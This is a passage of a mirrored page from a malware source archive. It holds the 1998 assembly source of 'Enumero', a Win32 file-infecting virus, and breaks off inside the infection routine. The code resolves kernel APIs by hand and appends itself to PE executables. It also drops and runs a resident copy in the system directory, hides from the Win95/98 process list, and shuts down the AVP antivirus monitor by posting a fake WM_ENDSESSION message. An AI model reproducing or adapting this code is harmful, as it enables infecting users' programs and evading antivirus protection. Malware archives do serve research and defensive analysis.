mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 11:26:11 +00:00
1174 lines
41 KiB
NASM
1174 lines
41 KiB
NASM
|
|
|||
|
;
|
|||
|
; Enumero, (c)1998 by Virogen[NOP]
|
|||
|
; http://virogen.cjb.net
|
|||
|
;
|
|||
|
; This is a fairly simple virus I whipped up REAL fast outta the
|
|||
|
; existing enumiacs source. The only real thing I wanted to accomplish
|
|||
|
; with this virus was full win32 support and demonstration of proper
|
|||
|
; PE infection by appending at the end of the last object's virtual
|
|||
|
; size, not physical size.
|
|||
|
;
|
|||
|
; OS: Win32 (win95/98/NT)
|
|||
|
; Hosts: PE (Parastic - append to last object at obj_rva+obj_vsize
|
|||
|
; No date/time change
|
|||
|
; No attribute change
|
|||
|
; Correct checksum set in header.
|
|||
|
; Physical file size increase varies depending on file alignment
|
|||
|
; and previous padding on last object.
|
|||
|
; Characteristics: Memory resident. Infects PEs when they terminate. Note
|
|||
|
; that the PE must have created a window sometime in
|
|||
|
; its execution, it doesn't matter if this window
|
|||
|
; is visible or not. Process hidden from win95/98
|
|||
|
; process list.
|
|||
|
;
|
|||
|
;
|
|||
|
; greetz: lapse,jp,vecna,darkman, and everyone else
|
|||
|
;
|
|||
|
|
|||
|
include mywin.inc
|
|||
|
|
|||
|
ID_OFF equ 0ch ; offset of our marker in PE
|
|||
|
physical_eip equ 400h ; physical eip
|
|||
|
host_physical_eip equ physical_eip+(offset host_entry-offset vstart) ; physical eip of host entry set
|
|||
|
VIRUS_SIZE equ 6656 ; size after vgalign
|
|||
|
VIRTUAL_SIZE equ 6656
|
|||
|
|
|||
|
; max module/process names we can queue - keep in mind that each
|
|||
|
; is allocated 256 bytes of memory
|
|||
|
max_idx equ 300
|
|||
|
|
|||
|
.386
|
|||
|
locals
|
|||
|
jumps
|
|||
|
.model flat,STDCALL
|
|||
|
;
|
|||
|
; our imported APIs for spawned virus - the spawned virus doesn't have to
|
|||
|
; worry with manual importing nor delta offsets of course.
|
|||
|
;
|
|||
|
extrn ExitProcess:PROC
|
|||
|
extrn EnumWindows:PROC
|
|||
|
extrn SetPriorityClass:PROC
|
|||
|
extrn GetCurrentProcess:PROC
|
|||
|
extrn CloseHandle:PROC
|
|||
|
extrn ReadFile:PROC
|
|||
|
extrn WriteFile:PROC
|
|||
|
extrn SetFilePointer:PROC
|
|||
|
extrn GetModuleHandleA:PROC
|
|||
|
extrn MapViewOfFile:PROC
|
|||
|
extrn CreateFileMappingA:PROC
|
|||
|
extrn UnmapViewOfFile:PROC
|
|||
|
extrn SetEndOfFile:PROC
|
|||
|
extrn SetFilePointer:PROC
|
|||
|
extrn GetFileAttributesA:PROC
|
|||
|
extrn SetFileAttributesA:PROC
|
|||
|
extrn GetFileSize:PROC
|
|||
|
extrn GetTickCount:PROC
|
|||
|
extrn GetFileSize:PROC
|
|||
|
extrn GetFileTime:PROC
|
|||
|
extrn SetFileTime:PROC
|
|||
|
extrn GetProcAddress:PROC
|
|||
|
extrn CheckSumMappedFile:PROC
|
|||
|
extrn PeekMessageA:PROC
|
|||
|
extrn Sleep:PROC
|
|||
|
extrn CopyFileA:PROC
|
|||
|
extrn FindWindowA:PROC
|
|||
|
extrn GetWindowThreadProcessId:PROC
|
|||
|
extrn OpenProcess:PROC
|
|||
|
extrn PostMessageA:PROC
|
|||
|
extrn GetModuleFileNameA:PROC
|
|||
|
extrn LoadLibraryA:PROC
|
|||
|
extrn FreeLibrary:PROC
|
|||
|
extrn IsBadReadPtr:PROC
|
|||
|
|
|||
|
org 0
|
|||
|
.data
|
|||
|
db '<27> [Enumero] by Virogen [NOP] <20>' ; it's i said the fly
|
|||
|
.code
|
|||
|
vstart:
|
|||
|
call geteip ; find relative offset
|
|||
|
geteip:
|
|||
|
mov ebp,[esp] ; grab it off stack
|
|||
|
mov eax,ebp ; used below
|
|||
|
sub ebp,offset geteip ; fix it up
|
|||
|
add esp,4 ; fix da stack
|
|||
|
|
|||
|
; first, let's find kernel base. If this is a parastic portion of virus
|
|||
|
; executing, we'll need to obtain a few APIs in order to spawn the virus.
|
|||
|
; Here we get a pointer to the kernel from the stack (a return address).
|
|||
|
; Then we scan down until we find the kernel base.
|
|||
|
;
|
|||
|
; We encapsulate this with an SEH handler, in case something goes bad wrong
|
|||
|
; we simply immediatly jump to the host (if this is a parastic copy of the
|
|||
|
; virus).
|
|||
|
;
|
|||
|
call set_seh ; setup SEH frame
|
|||
|
;-- error handler
|
|||
|
mov esp,[esp+8]
|
|||
|
pushad
|
|||
|
pushfd
|
|||
|
call geteip3
|
|||
|
geteip3:
|
|||
|
pop ebp
|
|||
|
sub ebp,offset geteip3
|
|||
|
jmp seh_exit
|
|||
|
;-- end error handler
|
|||
|
set_seh:
|
|||
|
push dword ptr fs:[0] ; save old exception ptr
|
|||
|
mov fs:[0],esp ; set ptr to our exception handler
|
|||
|
mov edx,[esp+8] ; determine OS
|
|||
|
|
|||
|
find_base_loop:
|
|||
|
cmp dword ptr [edx+0b4h],edx ; if we're at base, then
|
|||
|
jz good_os ; offset 0b4h contains kernel
|
|||
|
dec edx ; base
|
|||
|
jmp find_base_loop
|
|||
|
|
|||
|
good_os:
|
|||
|
mov [ebp+kernelbase],edx ; save kernel base
|
|||
|
|
|||
|
pushad
|
|||
|
pushfd
|
|||
|
;
|
|||
|
; this is my API importer from lorez, imports APIs from the kernel32.dll
|
|||
|
; export table in memory. Someday I will recode this in a more efficient
|
|||
|
; fashion, but I am too lazy today.
|
|||
|
;
|
|||
|
; a brief explanation of the organization of the export table would be
|
|||
|
; useful here. Ok, basically there are three tables within the export
|
|||
|
; table : API RVA Table (32bit), Name Pointer Table(32bit), and Ordinal
|
|||
|
; Table (16bit). Ok, the ordinal number of an API is the entry number of
|
|||
|
; the API in the RVA array. So, multiply the ordinal number by four and
|
|||
|
; you've got an index into the API RVA Table. Probably you don't already
|
|||
|
; have the ordinal number though, so you'll have to find it. To do this,
|
|||
|
; you use the Name Pointer Table. This is an array of pointers to the
|
|||
|
; asciiz name of each API. When you find the pointer of the API you're
|
|||
|
; looking for by string compares, you take the index number of it and
|
|||
|
; multiply it by 2 (because the ordinal table is 16bit). Index the result
|
|||
|
; in the ordinal table, and you're all set.
|
|||
|
;
|
|||
|
;
|
|||
|
mov esi,edx
|
|||
|
add esi,[esi+3ch] ; relative ptr to PE header
|
|||
|
cmp word ptr [esi],'EP' ; make sure we're on right track
|
|||
|
jnz goto_host ; if not.. abort
|
|||
|
mov esi,[esi+120] ; get export table RVA
|
|||
|
add esi,edx ; relative to image base
|
|||
|
mov edi,[esi+36] ; get ordinal table RVA
|
|||
|
add edi,edx ; relative to image base
|
|||
|
mov [ebp+ordinaltbl],edi ; save it
|
|||
|
mov edi,[esi+32] ; get name ptr RVA
|
|||
|
add edi,edx ; is relative to image base
|
|||
|
mov [ebp+nameptrtbl],edi ; save it
|
|||
|
mov ecx,[esi+24] ; get number of name ptrs
|
|||
|
mov esi,[esi+28] ; get address table RVA
|
|||
|
add esi,edx ; is relative to image base
|
|||
|
mov [ebp+adrtbl],esi ; save it
|
|||
|
|
|||
|
xor edx,edx ; edx is our ordinal counter
|
|||
|
; edi=name ptr table
|
|||
|
; ecx=number of name ptrs
|
|||
|
lea esi,[ebp+APIs] ; -> API Name ptrs
|
|||
|
mov [ebp+ourAPIptr],esi ; save it
|
|||
|
lea eax,[ebp+API_Struct] ; our API address will go here
|
|||
|
mov [ebp+curAPIptr],eax ; save it
|
|||
|
chk_next_API_name:
|
|||
|
mov esi,[ebp+ourAPIptr] ; get ptr to structure item
|
|||
|
mov ebx,[esi] ; load ptr to our API name
|
|||
|
add ebx,ebp ; add relative address
|
|||
|
mov esi,[edi] ; get API name RVA
|
|||
|
add esi,[ebp+kernelbase] ; relative to image base
|
|||
|
compare_API_name:
|
|||
|
lodsb
|
|||
|
cmp al,byte ptr [ebx] ; compare a byte of names
|
|||
|
jnz not_our_API ; it's not our API
|
|||
|
cmp al,0 ; end of string?
|
|||
|
jz is_our_API ; it's our API
|
|||
|
inc ebx
|
|||
|
jmp compare_API_name
|
|||
|
|
|||
|
not_our_API:
|
|||
|
inc edx ; increment API counter
|
|||
|
cmp edx,ecx ; last entry of name ptr table?
|
|||
|
jz goto_host ; uhoh.. we didn't find one
|
|||
|
; of our APIs.. abort it all
|
|||
|
add edi,4 ; increment export name ptr idx
|
|||
|
mov esi,[ebp+ourAPIptr] ; restore our API name ptr struct
|
|||
|
jmp chk_next_API_name
|
|||
|
|
|||
|
is_our_API:
|
|||
|
|
|||
|
mov edi,[ebp+ordinaltbl] ; load oridinal table RVA
|
|||
|
push ecx
|
|||
|
push edx
|
|||
|
xchg edx,eax ; edx=API number
|
|||
|
add eax,eax ; *2 cuz ordinals are words
|
|||
|
add edi,eax ; add to ordinal table VA
|
|||
|
mov ax,[edi] ; get ordinal (word)
|
|||
|
xor edx,edx
|
|||
|
mov ecx,4
|
|||
|
mul ecx ; *4 cuz address tbl is dd's
|
|||
|
mov edi,[ebp+adrtbl] ; load address table VA
|
|||
|
add edi,eax ; set idx to API
|
|||
|
mov eax,edi
|
|||
|
sub eax,[ebp+kernelbase] ; get the VA of the entry
|
|||
|
mov [ebp+originalRVAptr],eax ; save it for kernel infection
|
|||
|
; notice that our last API
|
|||
|
; in the array is the one we
|
|||
|
; hook
|
|||
|
mov eax,[edi] ; get API RVA
|
|||
|
mov [ebp+originalRVA],eax ; save it for kernel infection
|
|||
|
add eax,[ebp+kernelbase] ; is relative to image base
|
|||
|
mov edi,[ebp+curAPIptr] ; idx to storage stucture
|
|||
|
mov [edi],eax ; save VA of API
|
|||
|
add edi,4 ; increment index
|
|||
|
mov [ebp+curAPIptr],edi ; save
|
|||
|
|
|||
|
pop edx
|
|||
|
pop ecx
|
|||
|
|
|||
|
mov edi,[ebp+nameptrtbl] ; reset export name ptr tableidx
|
|||
|
mov esi,[ebp+ourAPIptr] ; restore idx to our name ptrs
|
|||
|
add esi,4 ; increment idx API name ptr structure
|
|||
|
mov [ebp+ourAPIptr],esi ; save our new ptr to name ptr
|
|||
|
cmp dword ptr [esi],0 ; end of our API structure?
|
|||
|
jz found_all ; if so then we got 'em all
|
|||
|
mov edi,[ebp+nameptrtbl] ; reset idx to export name pt
|
|||
|
xor edx,edx ; reset API counter
|
|||
|
jmp chk_next_API_name
|
|||
|
|
|||
|
;
|
|||
|
; now we've imported all our needed APIs to spawn the virus and execute.
|
|||
|
; First we check to see if this is spawned or parastic copy by checking
|
|||
|
; delta offset.
|
|||
|
;
|
|||
|
found_all:
|
|||
|
or ebp,ebp ; spawned file or 1st gen?
|
|||
|
jz spawned_func
|
|||
|
;
|
|||
|
; if parastic copy of virus, then spawn virus and execute it.
|
|||
|
;
|
|||
|
push 275
|
|||
|
push 64 ; allocate memory for spawn
|
|||
|
call [ebp+GlobalAllocAPI] ; path and filename
|
|||
|
or eax,eax
|
|||
|
jz goto_host
|
|||
|
|
|||
|
xor ecx,ecx
|
|||
|
call GetVirusPathFile
|
|||
|
|
|||
|
mov [ebp+spawnfile],eax ; eax->sysdir/spawnfilename buffer
|
|||
|
push eax ; save it fer later
|
|||
|
|
|||
|
push eax
|
|||
|
call [ebp+DeleteFileAPI] ; attempt to delete
|
|||
|
|
|||
|
;
|
|||
|
; now we spawn a copy of the virus. If there is an error creating the
|
|||
|
; spawn file, then that means it is probably shared and therefore already
|
|||
|
; in memory.
|
|||
|
;
|
|||
|
pop esi ; esi->spawn filename
|
|||
|
call Create ; CreateFile
|
|||
|
cmp eax,-1 ; if error, then we're already in mem
|
|||
|
jz dealloc_goto_host
|
|||
|
push eax ; save handle
|
|||
|
mov ecx,VIRUS_SIZE
|
|||
|
mov esi,ebp
|
|||
|
add esi,offset vstart-physical_eip
|
|||
|
call Write ; write our virus
|
|||
|
call [ebp+CloseFileAPI] ; handle still on stack
|
|||
|
|
|||
|
lea eax,[ebp+sinfo] ; overwrite some other unused vars
|
|||
|
push eax
|
|||
|
call [ebp+GetStartupInfoAPI] ; get startup info of process
|
|||
|
|
|||
|
lea eax,[ebp+pinfo] ; storage for process info
|
|||
|
push eax
|
|||
|
lea eax,[ebp+sinfo] ; startup info
|
|||
|
push eax
|
|||
|
push 0
|
|||
|
push 0
|
|||
|
push 67108928h ; CREATE_DEFAULT_ERROR_MODE|IDLE
|
|||
|
push 0
|
|||
|
push 0
|
|||
|
push 0
|
|||
|
push 0
|
|||
|
mov esi,[ebp+spawnfile] ; esi->spawn sysdir/file
|
|||
|
push esi
|
|||
|
call [ebp+CreateProcessAPI] ; create our viral process
|
|||
|
|
|||
|
mov eax,[ebp+hprocess]
|
|||
|
push eax
|
|||
|
call [ebp+CloseHandleAPI] ; close handle of our process
|
|||
|
|
|||
|
dealloc_goto_host:
|
|||
|
mov eax,[ebp+spawnfile]
|
|||
|
push eax
|
|||
|
call [ebp+GlobalFreeAPI]
|
|||
|
goto_host:
|
|||
|
seh_exit:
|
|||
|
|
|||
|
or ebp,ebp ; if spanwed
|
|||
|
jz _exit
|
|||
|
|
|||
|
;
|
|||
|
; Here we calculate the image base, in case this executable was loaded at a base other
|
|||
|
; than the one specified in the PE header.
|
|||
|
;
|
|||
|
|
|||
|
call get_ib_displacement
|
|||
|
get_ib_displacement:
|
|||
|
mov ebx,newep[ebp]
|
|||
|
add ebx,(offset get_ib_displacement-offset vstart)
|
|||
|
pop eax
|
|||
|
sub eax,ebx ; eax=image base
|
|||
|
add host_entry[ebp],eax ; add image base to host entry rva
|
|||
|
|
|||
|
popfd
|
|||
|
popad
|
|||
|
pop dword ptr fs:[0] ; restore original SEH frame
|
|||
|
pop edx ; fixup stack
|
|||
|
|
|||
|
jmp [ebp+host_entry] ; jmp to host entry VA
|
|||
|
host_entry dd offset vstart ; store host entry here
|
|||
|
newep dd 0
|
|||
|
|
|||
|
; spawned virus code - we can throw away delta offsets now. This is
|
|||
|
; the portion of the virus that stays resident.
|
|||
|
;
|
|||
|
spawned_func:
|
|||
|
popfd
|
|||
|
popad
|
|||
|
pop dword ptr fs:[0] ; restore original SEH frame
|
|||
|
pop edx ; fixup stack
|
|||
|
xor ebp,ebp ; no delta offset
|
|||
|
;
|
|||
|
; first call PeekMessage so that the hourglass icon isn't displayed until
|
|||
|
; timeout
|
|||
|
;
|
|||
|
push 0
|
|||
|
push 1
|
|||
|
push 0
|
|||
|
push 0
|
|||
|
push offset msgstruct
|
|||
|
call PeekMessageA
|
|||
|
|
|||
|
;
|
|||
|
; here we try to get the address of RegisterServiceProcess, which will
|
|||
|
; allow us to register as a service process under win95/98, therefore
|
|||
|
; hiding us from the ctrl-alt-del process list. This API not available
|
|||
|
; under WinNT, so we import it manually to make sure that it exists, we
|
|||
|
; don't need any ivalid ordinal numbers on spawned virus loadup.
|
|||
|
;
|
|||
|
; While we're at it, we'll also attempt to import the address of our
|
|||
|
; GetWindowModuleFileNameA from USER32.DLL. If this API doesn't exist,
|
|||
|
; which it is a fairly new API, then we just pass control to the host.
|
|||
|
;
|
|||
|
;
|
|||
|
push offset user32
|
|||
|
call GetModuleHandleA ; get handle of user32.dll
|
|||
|
or eax,eax
|
|||
|
jz _exit ; it should have been loaded
|
|||
|
push offset GetWindowModuleFileName
|
|||
|
push eax
|
|||
|
call GetProcAddress
|
|||
|
or eax,eax ; if we don't have this API, then
|
|||
|
jz _exit ; we must be in old NT or 95 crap
|
|||
|
mov GetWindowModuleFileNameA,eax
|
|||
|
push offset kernel32
|
|||
|
call GetModuleHandleA
|
|||
|
or eax,eax
|
|||
|
jz _exit ; something bad wrong if this
|
|||
|
push offset RegisterService
|
|||
|
push eax
|
|||
|
call GetProcAddress ; get rsp address
|
|||
|
or eax,eax
|
|||
|
jz isNT ; if not found, then NT system
|
|||
|
push 1 ; 1=register process
|
|||
|
push 0 ; null=current process
|
|||
|
call eax ; RegisterServiceProcess
|
|||
|
jmp is9598
|
|||
|
;
|
|||
|
; Under WinNT we'll make use of PSAPI.DLL functionz to retrieve module filenames.
|
|||
|
; We'll grab the address of GetModuleFileNameEx and EnumProcessModules
|
|||
|
;
|
|||
|
|
|||
|
isNT:
|
|||
|
push offset psapi
|
|||
|
call LoadLibraryA
|
|||
|
or eax,eax
|
|||
|
jz is9598
|
|||
|
mov phandle,eax
|
|||
|
push offset EnumPModules
|
|||
|
push eax
|
|||
|
call GetProcAddress
|
|||
|
mov EnumProcessModules,eax
|
|||
|
or eax,eax
|
|||
|
jz unload_psapi
|
|||
|
push offset GetMFileName
|
|||
|
push phandle
|
|||
|
call GetProcAddress
|
|||
|
mov GetModuleFileNameEx,eax
|
|||
|
or eax,eax
|
|||
|
jz unload_psapi
|
|||
|
jmp is9598
|
|||
|
unload_psapi:
|
|||
|
push phandle
|
|||
|
call FreeLibrary
|
|||
|
is9598:
|
|||
|
;
|
|||
|
; get rid of AVP Monitor by simulating a system shutdown, sending WM_ENDSESSION to
|
|||
|
; its window
|
|||
|
;
|
|||
|
;
|
|||
|
push offset avp_wndname ; AVP window name
|
|||
|
push 0 ; class name
|
|||
|
call FindWindowA ; Find AVP
|
|||
|
or eax,eax ; get handle?
|
|||
|
jz no_avp ; if not, then abort
|
|||
|
|
|||
|
push 0 ; no lparam
|
|||
|
push 0 ; or wparam
|
|||
|
push WM_ENDSESSION ; WM_ENDSESSION generated at system shutdown
|
|||
|
push eax ; handle to window
|
|||
|
call PostMessageA ; Post the message
|
|||
|
|
|||
|
no_avp:
|
|||
|
;
|
|||
|
; allocate memory for, and load our virus for later infection
|
|||
|
;
|
|||
|
push 280
|
|||
|
push 64
|
|||
|
call [GlobalAllocAPI] ; allocate memory for del buf
|
|||
|
or eax,eax
|
|||
|
jz _exit
|
|||
|
mov del_buf,eax
|
|||
|
push VIRUS_SIZE
|
|||
|
push 64
|
|||
|
call [GlobalAllocAPI]
|
|||
|
or eax,eax
|
|||
|
jz _exit
|
|||
|
mov virus_mem,eax
|
|||
|
xor ecx,ecx ; return exe filename
|
|||
|
call GetVirusPathFile
|
|||
|
add eax,280
|
|||
|
inc ecx ; ecx!=0 get temp filename
|
|||
|
call GetVirusPathFile
|
|||
|
push eax ; save for below
|
|||
|
push 0
|
|||
|
push eax
|
|||
|
sub eax,280
|
|||
|
push eax
|
|||
|
call CopyFileA
|
|||
|
pop esi ; esi->tmp filename
|
|||
|
call OpenRead
|
|||
|
cmp eax,-1
|
|||
|
jz dealloc_exit
|
|||
|
mov esi,virus_mem
|
|||
|
mov ecx,VIRUS_SIZE
|
|||
|
push eax ; save handle for close
|
|||
|
call Read
|
|||
|
cmp bytesread,VIRUS_SIZE
|
|||
|
jnz dealloc_exit
|
|||
|
call CloseHandle ; handle still on stack
|
|||
|
mov eax,del_buf
|
|||
|
inc ecx ; retrieve temp filename
|
|||
|
call GetVirusPathFile ; get temp filename again
|
|||
|
push eax
|
|||
|
Call [DeleteFileAPI] ; delete temp file
|
|||
|
jmp continue_spawned
|
|||
|
dealloc_exit:
|
|||
|
push del_buf
|
|||
|
call [GlobalFreeAPI]
|
|||
|
push virus_mem
|
|||
|
call [GlobalFreeAPI] ; handle to mem still on stack
|
|||
|
jmp _exit
|
|||
|
;
|
|||
|
; now we need to allocate memory for our array
|
|||
|
;
|
|||
|
continue_spawned:
|
|||
|
push 256*max_idx+1
|
|||
|
push 64 ; GPTR - fixed, zero init
|
|||
|
call [GlobalAllocAPI] ; allocate memory for our array
|
|||
|
or eax,eax ; error allocating? exit
|
|||
|
jz dealloc_exit
|
|||
|
mov pnames,eax
|
|||
|
push 1000h
|
|||
|
push 64 ; allocate memory for modules enumeration
|
|||
|
call [ebp+GlobalAllocAPI] ;
|
|||
|
or eax,eax
|
|||
|
jz dealloc_exit
|
|||
|
mov mod_array,eax
|
|||
|
|
|||
|
call GetCurrentProcess ; get current process handle
|
|||
|
push 64 ; idle priority class
|
|||
|
push eax ; handle of current process
|
|||
|
call SetPriorityClass ; set priority to idle
|
|||
|
|
|||
|
mov testnums,0 ; enumerate and load
|
|||
|
call InstallEnum ; first enumeration
|
|||
|
;
|
|||
|
; This is our memory resident loop. What this does is every 1 second
|
|||
|
; check the number of windows open by re-enumerating them. If this number
|
|||
|
; differs from the last # of open windows, then we go and try to infect
|
|||
|
; all the queued processes, in hopes that one has closed and is suitable
|
|||
|
; for infection. We try to infect the queued processes about 10 times with
|
|||
|
; a quarter second delay between each, or until we at least can open one of
|
|||
|
; the files, this is just in case the window was closed but we still need
|
|||
|
; to give the process time to terminate.
|
|||
|
;
|
|||
|
main_loop:
|
|||
|
push 500 ; 1/2 second sleep
|
|||
|
call Sleep ; suspend process for 1/2 second
|
|||
|
|
|||
|
mov testnums,1 ; just check number of windows
|
|||
|
call InstallEnum ; get number of windows
|
|||
|
mov eax,totalwnd ; get total windows from last en&l
|
|||
|
cmp testednums,eax
|
|||
|
jz main_loop ; if equal keep enumerating
|
|||
|
|
|||
|
mov icnt,0 ; we want to keep trying to infect
|
|||
|
do_i:
|
|||
|
call Infect ; infect if different # of windows open
|
|||
|
cmp re_enum,0
|
|||
|
jnz over_i ; if infected a file, then abort
|
|||
|
push 250 ; 1/4 second
|
|||
|
call Sleep ; suspend process for 1/4 second
|
|||
|
inc icnt ; increment counter
|
|||
|
cmp icnt,10 ; we'll try 10 times
|
|||
|
jnz do_i
|
|||
|
over_i:
|
|||
|
mov testnums,0 ; enumerate and load windows
|
|||
|
call InstallEnum
|
|||
|
jmp main_loop ; we'll want something else here..
|
|||
|
; may eat up too much cpu time
|
|||
|
; some waitforsingleobject variation
|
|||
|
_exit:
|
|||
|
push 0
|
|||
|
call ExitProcess
|
|||
|
;
|
|||
|
; This procedure enumerates the windows using EnumWindows. See
|
|||
|
; EnumWindowsProcedure below, which is called for each window found.
|
|||
|
;
|
|||
|
InstallEnum proc
|
|||
|
cmp testnums,1
|
|||
|
jz jdoit
|
|||
|
mov totalwnd,0
|
|||
|
mov totalexe,0
|
|||
|
mov eax,pnames
|
|||
|
mov curpos,eax
|
|||
|
jdoit:
|
|||
|
mov testednums,0
|
|||
|
push 9090h
|
|||
|
push offset EnumWindowsProc
|
|||
|
call EnumWindows ; set up window enumeration
|
|||
|
ret
|
|||
|
|
|||
|
InstallEnum endp
|
|||
|
|
|||
|
;
|
|||
|
; EnumWindowsProc - this procedure is called for every window found.
|
|||
|
;
|
|||
|
;
|
|||
|
EnumWindowsProc proc uses ebx edi esi, hwnd:DWORD, lparam:DWORD
|
|||
|
cmp testnums,1 ; only testing num of windows?
|
|||
|
jz enum_only ; if so just increment counter
|
|||
|
cmp totalexe,max_idx ; filled our array?
|
|||
|
jge not_exe ; if so just increment counter
|
|||
|
mov eax,GetWindowModuleFileNameA
|
|||
|
or eax,eax
|
|||
|
jz is_old_win
|
|||
|
push 255 ; maximum size of path&filename + null
|
|||
|
push curpos ; pointer to current member of array
|
|||
|
push hwnd ; handle of window
|
|||
|
call eax ; get associated module filename
|
|||
|
or eax,eax ; error - must be NT
|
|||
|
jnz got_fname_ok
|
|||
|
is_old_win:
|
|||
|
; this is NT specific code
|
|||
|
; If we couldn't
|
|||
|
cmp EnumProcessModules,0 ; make sure we got api va
|
|||
|
jz bad_abort
|
|||
|
cmp GetModuleFileNameEx,0 ; make sure we got api va
|
|||
|
jz bad_abort
|
|||
|
push offset pid
|
|||
|
push hwnd
|
|||
|
call GetWindowThreadProcessId ; get process id
|
|||
|
push pid
|
|||
|
push 0
|
|||
|
push PROCESS_ALL_ACCESS
|
|||
|
call OpenProcess ; open da process
|
|||
|
mov phandle,eax
|
|||
|
or eax,eax
|
|||
|
jz bad_abort
|
|||
|
push offset bytesread
|
|||
|
push 1000h
|
|||
|
push mod_array
|
|||
|
push phandle
|
|||
|
call [EnumProcessModules] ; enumerate process modules
|
|||
|
mov esi,mod_array
|
|||
|
getmodloop:
|
|||
|
lodsd
|
|||
|
or eax,eax
|
|||
|
jz abortmodloop
|
|||
|
push 255 ; maximum size of path&filename + null
|
|||
|
push curpos ; pointer to current member of array
|
|||
|
push eax
|
|||
|
push phandle
|
|||
|
call [GetModuleFileNameEx] ; get associated module filename
|
|||
|
call testexe
|
|||
|
jc getmodloop ; if not exe then keep scanning
|
|||
|
abortmodloop:
|
|||
|
push eax
|
|||
|
push phandle
|
|||
|
call CloseHandle
|
|||
|
pop eax
|
|||
|
got_fname_ok:
|
|||
|
call testexe
|
|||
|
jc not_exe ; if not, then don't add to pointer
|
|||
|
add curpos,256 ; increment pointer to next member of array
|
|||
|
inc totalexe ; increment total #s of EXEs found
|
|||
|
not_exe:
|
|||
|
inc totalwnd ; increment total number of window
|
|||
|
bad_abort:
|
|||
|
ret
|
|||
|
enum_only:
|
|||
|
inc testednums
|
|||
|
ret
|
|||
|
EnumWindowsProc endp
|
|||
|
|
|||
|
;
|
|||
|
; here we search the saved process filenames and try to infect each one
|
|||
|
;
|
|||
|
Infect proc
|
|||
|
mov esi,pnames ; pointer to allocated array
|
|||
|
sub esi,256 ; member -1, will make 0 in loop
|
|||
|
mov curidx,-1 ; will increment to 0
|
|||
|
mov re_enum,0 ; if we infected flag
|
|||
|
iloop:
|
|||
|
inc curidx ; increment current member of array
|
|||
|
add esi,256 ; increment index into array
|
|||
|
mov eax,totalexe ; get total EXEs we found in enumer
|
|||
|
cmp curidx,eax ; we exceeded that amount?
|
|||
|
jg abloop ; if so we're done
|
|||
|
push esi ; esi->array member (filename); save
|
|||
|
call OpenFile ; try and open it
|
|||
|
pop esi ; restore ptr to filename
|
|||
|
cmp eax,-1 ; error opening file?
|
|||
|
jz iloop ; if so skip to next member of array
|
|||
|
mov fnameptr,esi ; else save the filename pointer
|
|||
|
push eax ; eax=handle of file
|
|||
|
call CloseHandle ; close the file
|
|||
|
push esi
|
|||
|
call InfectFile ; infect the file
|
|||
|
pop esi
|
|||
|
mov re_enum,1 ; set successful infectin flag
|
|||
|
jmp iloop ; continue trying to infect
|
|||
|
abloop:
|
|||
|
ret
|
|||
|
Infect endp
|
|||
|
|
|||
|
testexe proc
|
|||
|
or eax,eax
|
|||
|
jz return_stc
|
|||
|
mov ecx,eax ; ecx=size of path&filename of module
|
|||
|
add ecx,curpos ; set up pointer to end of path&filename
|
|||
|
sub ecx,3 ; extension starts here
|
|||
|
cmp word ptr [ecx],'XE' ; make sure it's EXE
|
|||
|
jz return_clc
|
|||
|
cmp word ptr [ecx],'xe'
|
|||
|
jz return_clc
|
|||
|
return_stc:
|
|||
|
stc
|
|||
|
ret
|
|||
|
return_clc:
|
|||
|
clc
|
|||
|
ret
|
|||
|
testexe endp
|
|||
|
|
|||
|
; return pointer to virus path and filename
|
|||
|
; entry: eax->buffer
|
|||
|
; ecx=0 if exe file, 1 if tmp file
|
|||
|
; return: eax->buffer
|
|||
|
GetVirusPathFile proc
|
|||
|
|
|||
|
push eax
|
|||
|
push ecx
|
|||
|
push eax
|
|||
|
|
|||
|
push 260 ; max path size
|
|||
|
push eax ; ptr
|
|||
|
call [ebp+GetSysDirAPI] ; get sys directory
|
|||
|
|
|||
|
pop edi ; edi->sys directory
|
|||
|
add edi,eax ; edi->end of dir
|
|||
|
pop ecx
|
|||
|
or ecx,ecx
|
|||
|
jnz tmpname
|
|||
|
lea esi,[ebp+virusname] ; esi->spawn filename
|
|||
|
jmp append
|
|||
|
tmpname:
|
|||
|
lea esi,[ebp+tempname]
|
|||
|
append:
|
|||
|
call copy_str ; append to sys dir
|
|||
|
pop eax
|
|||
|
ret
|
|||
|
|
|||
|
GetVirusPathFile endp
|
|||
|
|
|||
|
|
|||
|
OpenRead:
|
|||
|
mov ecx,3
|
|||
|
mov ebx,80000000h
|
|||
|
jmp or
|
|||
|
Create:
|
|||
|
mov ecx,1
|
|||
|
jmp of
|
|||
|
OpenFile proc
|
|||
|
mov ecx,3
|
|||
|
of:
|
|||
|
mov ebx,0c0000000h
|
|||
|
or:
|
|||
|
push 0
|
|||
|
push 20h ; attribute normal
|
|||
|
push ecx ; 3=open existing file
|
|||
|
push 0
|
|||
|
push 0
|
|||
|
push ebx ; permissions
|
|||
|
push esi
|
|||
|
call [ebp+CreateFileAPI]
|
|||
|
ret
|
|||
|
OpenFile endp
|
|||
|
|
|||
|
Read proc
|
|||
|
push 0
|
|||
|
push offset bytesread
|
|||
|
push ecx
|
|||
|
push esi
|
|||
|
push eax
|
|||
|
call ReadFile
|
|||
|
ret
|
|||
|
Read endp
|
|||
|
|
|||
|
Write proc
|
|||
|
push 0
|
|||
|
lea ebx,[ebp+bytesread]
|
|||
|
push ebx
|
|||
|
push ecx
|
|||
|
push esi
|
|||
|
push eax
|
|||
|
call [ebp+WriteFileAPI]
|
|||
|
ret
|
|||
|
Write endp
|
|||
|
|
|||
|
|
|||
|
;-----------------------------------------------
|
|||
|
; infect file - call with fnameptr set
|
|||
|
;
|
|||
|
; As you can see, we append to the last object at RVA+virtual size
|
|||
|
; and then set physical size to file_align(obj_virtual_size+
|
|||
|
; virus_physical_size). In this way, we take advantage of any padded
|
|||
|
; space in the last object therefore decreasing the physical size
|
|||
|
; increase of the host.
|
|||
|
;
|
|||
|
; It is my contention, that since the virtual size usually represents
|
|||
|
; the true unaligned physical size, appending should always occur
|
|||
|
; at the end of the virtual size and then the physical size should
|
|||
|
; be aligned to the new virtual size.
|
|||
|
;
|
|||
|
;
|
|||
|
InfectFile proc
|
|||
|
|
|||
|
mov eax,fnameptr
|
|||
|
push eax
|
|||
|
call GetFileAttributesA ; get file attributes
|
|||
|
mov oldattrib,eax
|
|||
|
|
|||
|
cmp eax,-1 ; if error then maybe shared
|
|||
|
jnz not_shared
|
|||
|
ret ; can't infect it
|
|||
|
|
|||
|
not_shared:
|
|||
|
push 20h ; +A
|
|||
|
mov eax,fnameptr
|
|||
|
push eax
|
|||
|
